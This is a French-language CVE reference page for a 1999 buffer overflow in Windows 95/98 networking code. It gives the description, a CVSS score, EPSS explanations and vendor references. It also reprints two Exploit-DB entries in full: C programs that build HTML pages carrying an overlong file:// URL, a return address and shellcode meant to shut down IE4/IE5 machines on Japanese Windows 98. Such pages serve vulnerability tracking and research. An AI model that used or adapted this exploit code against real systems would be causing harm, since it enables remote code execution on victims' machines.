Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
The networking software in Windows 95 and Windows 98 allows remote attackers to execute commands via a long file name string, aka the "File Access URL" vulnerability.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.6 | AV:N/AC:H/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 19607
Date de publication : 1999-11-08 23h00 +00:00
Auteur : UNYUN
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/779/info
There is a overflowable buffer in the networking code for Windows 95 and 98 (all versions). The buffer is in the part of the code that handles filenames. By specifying an exceptionally long filename, an attacker can cause the machine to crash or execute arbitrary code. This vulnerability could be exploited remotely by including a hostile UNC or file:// URL in a web page or HTML email. The attack would occur when the page was loaded in a browser or the email was opened (including opening the email in a preview pane.)
/*=============================================================================
Microsoft IE4 for Windows98 exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>
#include <windows.h>
#define MAXBUF 1000
#define RETADR 53
unsigned int mems[]={
0xbfe30000,0xbfe43000,0xbfe80000,0xbfe86000,
0xbfe90000,0xbfe96000,0xbfea0000,0xbfeb0000,
0xbfee0000,0xbfee5000,0xbff20000,0xbff47000,
0xbff50000,0xbff61000,0xbff70000,0xbffc6000,
0xbffc9000,0xbffe3000,0,0};
unsigned char exploit_code[200]={
0x33,0xC0,0x40,0x40,0x40,0x40,0x40,0x50,
0x50,0x90,0xB8,0x2D,0x23,0xF5,0xBF,0x48,
0xFF,0xD0,0x00,
};
unsigned int search_mem(FILE *fp,unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;
for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);
}
main(int argc,char *argv[])
{
FILE *fp;
unsigned int i,ip;
unsigned char buf[MAXBUF];
if (argc<2){
printf("usage %s output_htmlfile\n",argv[0]);
exit(1);
}
if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;
fprintf(fp,"<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0;URL=file://test/");
for (i=0;;i+=2){
if (mems[i]==0){
printf("Can not find jmp code.\n");
exit(1);
}
if ((ip=search_mem(fp,(unsigned char *)mems[i],
(unsigned char *)mems[i+1],0xff,0xe4))!=0) break;
}
printf("Jumping address : %x\n",ip);
memset(buf,0x41,MAXBUF);
buf[RETADR-1]=0x90;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
memcpy(buf+80,exploit_code,strlen(exploit_code));
buf[MAXBUF]=0;
fprintf(fp,"%s/\">\n<HTML><B>",buf);
fprintf(fp,"10 seconds later, this machine will be shut down.</B><BR><BR>");
fprintf(fp,"If you are using IE4 for Japanese Windows98, ");
fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed.<BR>");
fprintf(fp,"</HTML>\n");
fclose(fp);
printf("%s created.\n",argv[1]);
return FALSE;
}
Exploit Database EDB-ID : 19608
Date de publication : 1999-11-08 23h00 +00:00
Auteur : UNYUN
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/779/info
There is a overflowable buffer in the networking code for Windows 95 and 98 (all versions). The buffer is in the part of the code that handles filenames. By specifying an exceptionally long filename, an attacker can cause the machine to crash or execute arbitrary code. This vulnerability could be exploited remotely by including a hostile UNC or file:// URL in a web page or HTML email. The attack would occur when the page was loaded in a browser or the email was opened (including opening the email in a preview pane.)
/*=========================================================================
Microsoft IE5 for Windows98 exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=========================================================================
*/
#include <stdio.h>
#include <windows.h>
#define MAXBUF 1000
#define RETADR 53
/*
jmp esp (FF E4) code is stored in this area.
You must change this address for non-Japanese Windows98
*/
#define EIP 0xbfb75a35
unsigned char exploit_code[200]={
0x43,0x43,0x43,0x43,0x43,0x53,0x53,0x53,
0xB8,0x2D,0x23,0xF5,0xBF,0x48,0x50,0xC3,
0x00
};
main(int argc,char *argv[])
{
FILE *fp;
unsigned int ip;
unsigned char buf[MAXBUF];
if (argc<2){
printf("usage %s output_htmlfile\n",argv[0]);
exit(1);
}
if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;
fprintf(fp,"<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0;URL=file://test/");
memset(buf,0x41,MAXBUF);
ip=EIP;
buf[RETADR-1]=0x7f;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=( ip>>24)&0xff;
memcpy(buf+80,exploit_code,strlen(exploit_code));
buf[MAXBUF]=0;
fprintf(fp,"%s/\">\n<HTML><B>",buf);
fprintf(fp,"10 seconds later, this machine will be shut down.</B><BR><BR>");
fprintf(fp,"If you are using IE5 for Japanese Windows98, ");
fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed.<BR>");
fprintf(fp,"</HTML>\n");
fclose(fp);
printf("%s created.\n",argv[1]);
return FALSE;
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_95 >> Version *
- Microsoft>>Windows_95 >> Version - (Open CPE detail)
- Microsoft>>Windows_95 >> Version - (Open CPE detail)
- Microsoft>>Windows_95 >> Version - (Open CPE detail)
- Microsoft>>Windows_95 >> Version - (Open CPE detail)
- Microsoft>>Windows_95 >> Version - (Open CPE detail)
- Microsoft>>Windows_95 >> Version - (Open CPE detail)
- Microsoft>>Windows_95 >> Version - (Open CPE detail)
Microsoft>>Windows_98 >> Version *
- Microsoft>>Windows_98 >> Version - (Open CPE detail)
Références
https://docs.microsoft.com/en-us/security-updates/securitybulletins/1999/ms99-049
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
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